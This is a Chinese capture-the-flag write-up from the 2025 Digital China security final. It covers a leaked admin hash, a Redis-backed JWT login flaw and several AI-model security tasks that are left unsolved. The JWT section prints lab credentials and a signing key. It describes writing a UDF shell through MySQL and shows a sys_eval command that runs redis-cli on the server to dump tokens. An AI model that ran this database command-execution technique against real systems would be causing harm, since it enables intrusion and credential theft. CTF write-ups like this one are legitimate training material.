目录

  1. 1. 前言
  2. 2. 资产安全评估
    1. 2.1. 1
    2. 2.2. 2
  3. 3. 数据删除与恢复
    1. 3.1. 1
  4. 4. 模型环境安全
    1. 4.1. 1
    2. 4.2. 2
    3. 4.3. 3

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

2025数字中国数字安全赛道 决赛

2025/4/24 线下赛
  |     |   总文章阅读量:

前言

最摆的一集


资产安全评估

http://192.168.67.155:8080

1

公司新上线了一款商家侧电商信息发布平台,在进行安全测试时,管理员通过安全评估手段,发现可能存在安全漏洞问题。请选手下载平台提供的附件,对附件中的www.zip源码进行分析,并尝试获取后台权限,将后台中的flag提交。

20191204-124036-1.sql

INSERT INTO `ob_member` VALUES ('1', '0', 'admin', 'admin', '09d5dde58d419119571be42244e84a39', '3162875@qq.com', '0rrt5r2eg00tdut5fd18fk8sa5', '18555550710', '1575434387', '1575434378', '1', '0', '0', '1');

得到加密的密码 09d5dde58d419119571be42244e84a39

看一下加密的方法

function data_md5($str, $key = 'OneBase')
{
    
    return '' === $str ? '' : md5(sha1($str) . $key);
}

emm,这也爆不出来啊

2

管理员在进一步安全测试时发现电商信息发布平台,可能存在安全漏洞问题。请选手下载平台提供的附件,对附件中的www.zip源码进行分析,并尝试获取站点权限,获取服务器中的flag并进行提交。


数据删除与恢复

http://192.168.67.155:8080

1

管理员利用AI模型设计了一个结合redis和mysql的交易数据查询系统,但是未对代码的安全性进行充分验证,导致mysql中的用户虽然被删除但仍可以利用redis中的JWT信息,登录交易数据查询系统。请选手下载平台提供的附件(用户表.xlsx),根据用户表(其中1个用户为管理员测试账号,可进行数据库管理)及数据库中存在的用户,判断哪些用户在被删除后仍可以利用JWT进行登录,将用户名按照用户表中的先后排序,并使用“_”拼接后,通过md5处理后进行提交。

舍 近 求 远

由于某人 md5 时多了一个换行导致我专门进后台验证(

给的 xlsx 一个个测,测出来 zhangzehua 能正常登录且是管理员账户

数据库账密也是 zhangzehua:zhangzehua@cimer..

进入数据库后 udf 写 shell

读到 index.php

<?php
ob_start(); // 开启输出缓冲
require_once 'vendor/autoload.php';

use Firebase\JWT\JWT;
use Firebase\JWT\Key;

const JWT_KEY = '12345678901234567898765456789098';
const JWT_ALGO = 'HS256';

define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASS', 'roottoor@cimer2025');
define('DB_NAME', 'new');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $error = '';
    $redis = new Redis();
    $mysqli = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
    
    try {
        // 连接Redis
        if (!$redis->connect('127.0.0.1', 6379)) {
            throw new Exception('Redis连接失败');
        }
        $redis->auth('root@root!cimer');

        
        $username = trim($_POST['username'] ?? '');
        $password = trim($_POST['password'] ?? '');

        
        $payload = [
            'sub' => $username,
	    'pwd' => $password,
            'iat' => 1743299964,  
        ];
        $jwt = JWT::encode($payload, JWT_KEY, JWT_ALGO);

        
        if ($redis->exists("jwt:{$jwt}")) {
            
            setcookie('token', $jwt, time() + 7200, '/', '', false, true); // httponly=true
            header('Location: welcome.php');
            exit();
        }

        // 数据库验证
        $stmt = $mysqli->prepare("SELECT password FROM users WHERE username = ?");
        $stmt->bind_param('s', $username);
        $stmt->execute();
        $stmt->bind_result($storedEncryptedPassword);
        $stmt->fetch();

        if ($storedEncryptedPassword === $password) {
            $redis->set("jwt:{$jwt}", 'valid');  
            setcookie('token', $jwt, time() + 7200, '/', '', false, true);
            header('Location: welcome.php');
            exit();
        } else {
            $error = '账号或密码错误';
        }

    } catch (Exception $e) {
        $error = '系统错误:' . $e->getMessage();
    } finally {
        $redis->close();
        $mysqli->close();
        ob_end_flush(); // 结束输出缓冲
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>交易数据查询系统</title>
    <style>
        .login-box { width: 300px; margin: 100px auto; padding: 20px; border: 1px solid #ccc; }
        .form-group { margin-bottom: 15px; }
        input { width: 100%; padding: 8px; margin-top: 5px; }
        button { width: 100%; padding: 10px; background: #007bff; color: white; border: none; }
    </style>
    <script src="des.js"></script>
    <script>
        function encryptPassword() {
            const username = document.querySelector('input[name="username"]').value;
            const password = document.querySelector('input[name="password"]').value;

            if (!username || !password) {
                alert("用户名和密码不能为空");
                return false;
            }

            
            const secretKey1 = "ThisIsAComplexKey123!";
            const secretKey2 = "AnotherSecretKey456_";
            const secretKey3 = "AndYetAnotherKey!@#";

            
            const encryptedPassword = strEnc(password, secretKey1, secretKey2, secretKey3);
            document.querySelector('input[name="password"]').value = encryptedPassword;
            return true;
        }

        window.onload = function() {
            const form = document.querySelector('form');
            if (form) {
                form.addEventListener('submit', function(event) {
                    if (!encryptPassword()) {
                        event.preventDefault();
                    }
                });
            }
        };
    </script>
</head>
<body>
<div class="login-box">
    <h2>商家登录</h2>
    <form method="POST">
        <div class="form-group">
            <label>用户名:</label>
            <input type="text" name="username" required>
        </div>
        <div class="form-group">
            <label>密码:</label>
            <input type="password" name="password" required>
        </div>
        <button type="submit">登录</button>
    </form>
</div>
</body>
</html>

得到mysql数据库账密root:roottoor@cimer2025
redis数据库密码root@root!cimer

查users库

INSERT INTO `users` (`id`, `username`, `password`, `inf`, `is_admin`) VALUES
(1,	'chenxin',	'A47CDC5B7829175B88D87C6F64A9DE6FCD0F7683FD25B231D770F28CEAAB3B92',	'成交量: 326次, 交易额: 23800元, 推流: 192次, 浏览: 7320次',	0),
(2,	'wuwen',	'46E99CDCA9EC4EBB1740A088B2AF3924A50CF3CFC943544F',	'成交量: 158次, 交易额: 42900元, 推流: 76次, 浏览: 5840次',	0),
(3,	'wanghua',	'455423198CBA49DE546C1368AC7880728BE72A3825CDCC92ADA9BB8029DADA67',	'成交量: 745次, 交易额: 15700元, 推流: 245次, 浏览: 8930次',	0),
(4,	'jinguizhi',	'EC943EBE2AA04024EC55BAEAB382673160EFBA0BAFB4A19E1A588164FD404001',	'成交量: 482次, 交易额: 36800元, 推流: 163次, 浏览: 4320次',	0),
(5,	'guoxiaohong',	'B4CE7F02EE2A0CE94F0C2160D3CD8D73FF8DD8E3C2D2C11E8F44C616838A0DD1',	'成交量: 893次, 交易额: 41200元, 推流: 278次, 浏览: 9650次',	0),
(6,	'huangzhiqiang',	'5FE0DE44C3BE01588C7E39B2162852204C8168FF766674650DF3B303251B3C7D9A8AD3B177765506',	'成交量: 234次, 交易额: 28700元, 推流: 94次, 浏览: 3290次',	0),
(7,	'zhangzehua',	'C412816124FADCADDD129E1A497EF7BA00D2F6A8FAD969F2D770F28CEAAB3B92696A1D2DEB1F07A9',	'成交量: 671次, 交易额: 45300元, 推流: 201次, 浏览: 7580次',	1),
(8,	'zhangxiuyun',	'DE66703718E5B876C412816124FADCAD83325BEE0035E4EB66D7EE49889FDA58',	'成交量: 409次, 交易额: 19600元, 推流: 132次, 浏览: 6210次',	0),
(9,	'wangming',	'A247BCD055B3AAB8EF93194C49755EEEF8393636FA0EB3A0',	'成交量: 567次, 交易额: 37400元, 推流: 287次, 浏览: 8340次',	0),
(10, 'wangyan',	'7F7455AEB8A3D5F3CAFB30434AF3DC03BC3293D7F1B0CD52',	'成交量: 295次, 交易额: 42800元, 推流: 115次, 浏览: 4970次',	0);

查redis

select sys_eval('echo "AUTH root@root!cimer\nKEYS *" | redis-cli -h localhost -p 6379')

得到jwt

jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuaW5neGl1cm9uZyIsInB3ZCI6IkM0MzIwMjQwQ0Y0OTMwNkI2RkY4NjA3Qzk2ODBCRUIxMzMzNkM2QzFDNjMxRUIxMTQ1MEQzNjQyQjhBM0M5NTMiLCJpYXQiOjE3NDMyOTk5NjR9.l112ZTii6Ru7FvAEoS8XsUGrN-R5M8QpKpu48hTaH-4
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndW94aWFvaG9uZyIsInB3ZCI6IkI0Q0U3RjAyRUUyQTBDRTk0RjBDMjE2MEQzQ0Q4RDczRkY4REQ4RTNDMkQyQzExRThGNDRDNjE2ODM4QTBERDEiLCJpYXQiOjE3NDMyOTk5NjR9.dOepLP5taYHRq7ZsNeUDp5cTJqUPGFtmsDgPLpm8KN0
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJnYW50aW5ndGluZyIsInB3ZCI6IkM3NEM0QTQ0RERDQTIzNkFFMjYyOUZDMTlGNTc1MzgwQjAwMzU2MDM3QzQ3NTI4MjNGRDA5NENBM0Y4RUYzREYiLCJpYXQiOjE3NDMyOTk5NjR9.zLWkcPsjJLten17T6ldMB_rIDCxIV5hvWIPT6JJyAb0
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ3YW5nZ3VpemhpIiwicHdkIjoiNDZFOTlDRENBOUVDNEVCQjBCODk0OTRCQTcwNEU4RjM0NTU0MjMxOThDQkE0OURFMEFDNTA0MDY3MDM1MDMzNEMwNDY1N0VCMzBGMEMzRDYiLCJpYXQiOjE3NDMyOTk5NjR9.SxCXfYtOc-IV4XQxSX5wN0tm0FueM7v-9lLHtQcd3bc
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJtZW5ncGVuZyIsInB3ZCI6IjU1QkMwMDUwNTI1MjlBOEIwMTc2NzI1M0IwMzkxNTE3NzlBOUZDOEQ1MTRCRjFDNzk0QTFCQ0Q2QjIwMDI1MkQyNjJCOEY3NEE2MjE5M0M5IiwiaWF0IjoxNzQzMjk5OTY0fQ.Dpg8rVrj0iAqalojRxPpdzZQeMVa5rpWwjIBmvBAU4c
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ6aGFuZ3plaHVhIiwicHdkIjoiQzQxMjgxNjEyNEZBRENBREREMTI5RTFBNDk3RUY3QkEwMEQyRjZBOEZBRDk2OUYyRDc3MEYyOENFQUFCM0I5MjY5NkExRDJERUIxRjA3QTkiLCJpYXQiOjE3NDMyOTk5NjR9.K_lkgKZ3FEp7VC1ITw8SXykVc-Qd36Af_vJEa-IYKAE
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ6aGFuZ2xpaHVhIiwicHdkIjoiNzU2MkExNTZGREM3QUY5OEM0MTI4MTYxMjRGQURDQURDMDZFRENFRDZDRjY5REUzNzg3NzYyNEFDMjFFQzE3OCIsImlhdCI6MTc0MzI5OTk2NH0.SYl4OpnMD5LQnIdMFnjUUyW0QYOsJbt2usOhVlpoEU8
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ3YW5naHVhIiwicHdkIjoiNDU1NDIzMTk4Q0JBNDlERTU0NkMxMzY4QUM3ODgwNzI4QkU3MkEzODI1Q0RDQzkyQURBOUJCODAyOURBREE2NyIsImlhdCI6MTc0MzI5OTk2NH0.P4k8FRXvjsUo0dnXQ1ONN9r1FIKgTKvTWF7GVnpsaBE
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJjaGVueGluIiwicHdkIjoiQTQ3Q0RDNUI3ODI5MTc1Qjg4RDg3QzZGNjRBOURFNkZDRDBGNzY4M0ZEMjVCMjMxRDc3MEYyOENFQUFCM0I5MiIsImlhdCI6MTc0MzI5OTk2NH0.d54549DANdaGFVEc12rch0AqO1qQoeMgP5jj93QfsOc
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ3dXdlbiIsInB3ZCI6IjQ2RTk5Q0RDQTlFQzRFQkIxNzQwQTA4OEIyQUYzOTI0QTUwQ0YzQ0ZDOTQzNTQ0RiIsImlhdCI6MTc0MzI5OTk2NH0.xZ5lWpI6MO4O2RhjdfsfLgh9yKDM6DTv9oJK_0ptCls
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ6aGFuZ3hpdXl1biIsInB3ZCI6IkRFNjY3MDM3MThFNUI4NzZDNDEyODE2MTI0RkFEQ0FEODMzMjVCRUUwMDM1RTRFQjY2RDdFRTQ5ODg5RkRBNTgiLCJpYXQiOjE3NDMyOTk5NjR9.bLvnDOkGFw3DvWlvwug-h8ok7AxbOFtYk-WWPewN0SM
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ3YW5neWFuIiwicHdkIjoiN0Y3NDU1QUVCOEEzRDVGM0NBRkIzMDQzNEFGM0RDMDNCQzMyOTNEN0YxQjBDRDUyIiwiaWF0IjoxNzQzMjk5OTY0fQ.H3nbOVLdcvq3i7MfJLmBvmPem5ryk6Kdj7JkwGTeC3Q
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ3YW5nbWluZyIsInB3ZCI6IkEyNDdCQ0QwNTVCM0FBQjhFRjkzMTk0QzQ5NzU1RUVFRjgzOTM2MzZGQTBFQjNBMCIsImlhdCI6MTc0MzI5OTk2NH0.hmw1s4c3F9ZDu7b6NJ647R_JhkgGTIdVjL1NGepcJgQ
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJqaW5ndWl6aGkiLCJwd2QiOiJFQzk0M0VCRTJBQTA0MDI0RUM1NUJBRUFCMzgyNjczMTYwRUZCQTBCQUZCNEExOUUxQTU4ODE2NEZENDA0MDAxIiwiaWF0IjoxNzQzMjk5OTY0fQ.6I4NTNRahMyOAAhTk-aSnAP7yuAxCeb8Zll2AMYnkXI
jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJodWFuZ3poaXFpYW5nIiwicHdkIjoiNUZFMERFNDRDM0JFMDE1ODhDN0UzOUIyMTYyODUyMjA0QzgxNjhGRjc2NjY3NDY1MERGM0IzMDMyNTFCM0M3RDlBOEFEM0IxNzc3NjU1MDYiLCJpYXQiOjE3NDMyOTk5NjR9.FnnmCXNe8pdkL3UT9dmVjmlQ_LqwgJ4nwqvsESk9lFM

解码得到

ningxiurong
guoxiaohong
gantingting
wangguizhi
mengpeng
zhangzehua
zhanglihua
wanghua
chenxin
wuwen
zhangxiuyun
wangyan
wangming
jingguizhi
huangzhiqiang

对照一下得到

wangguizhi_ningxiurong_zhanglihua_mengpeng_gantingting

md5 交上去 8429e825242b4e9063862b78da1e46dd


模型环境安全

http://192.168.67.155:11434

1

管理员为了方便利用AI进行办公,在服务器中搭建了一个Ollama框架,但后续发现此框架存在安全问题。请选手对Ollama框架进行安全测试,并获取服务器中的uid为1000的用户名,作为标准答案提交。

访问 /api/version,版本为 0.1.33

感觉是去年DAS十月赛的CVE,但是没记细节,寄

2

为满足工作需求,管理员在网络上下载了一批训练模型的pkl和h5文件想要进行使用。在未进行安全审计前,管理员将文件命名为””AI_models.zip””放到了文件服务器中。经过分析发现,文件中包含了恶意连接操作的文件。请选手分析出存在恶意连接操作的模型文件,并将恶意连接的主机ip和端口,作为标准答案提交。

3

根据公司内部的规定,在使用AI时,员工必须严格遵守不上传涉及公司敏感信息的要求。这些敏感信息可能包括但不限于:用户的个人资料、财务报表、员工的个人信息、研发中的技术⽅案、内部通讯记录、合同文件、商业机密、市场营销策略等任何可能对公司造成不利影响的机密数据。管理员在服务器当中搭建了本地AI模型来帮助其办公,但在某次操作时违反了公司规定,管理员想要利用AI批量对包含了用户隐私信息的图片进行批量格式转换。请选手访问文件服务器。获取””upload.zip””文件,分析附件还原上传的数据、统计用户的隐私数据数量,将隐私数据数量,作为标准答案提交。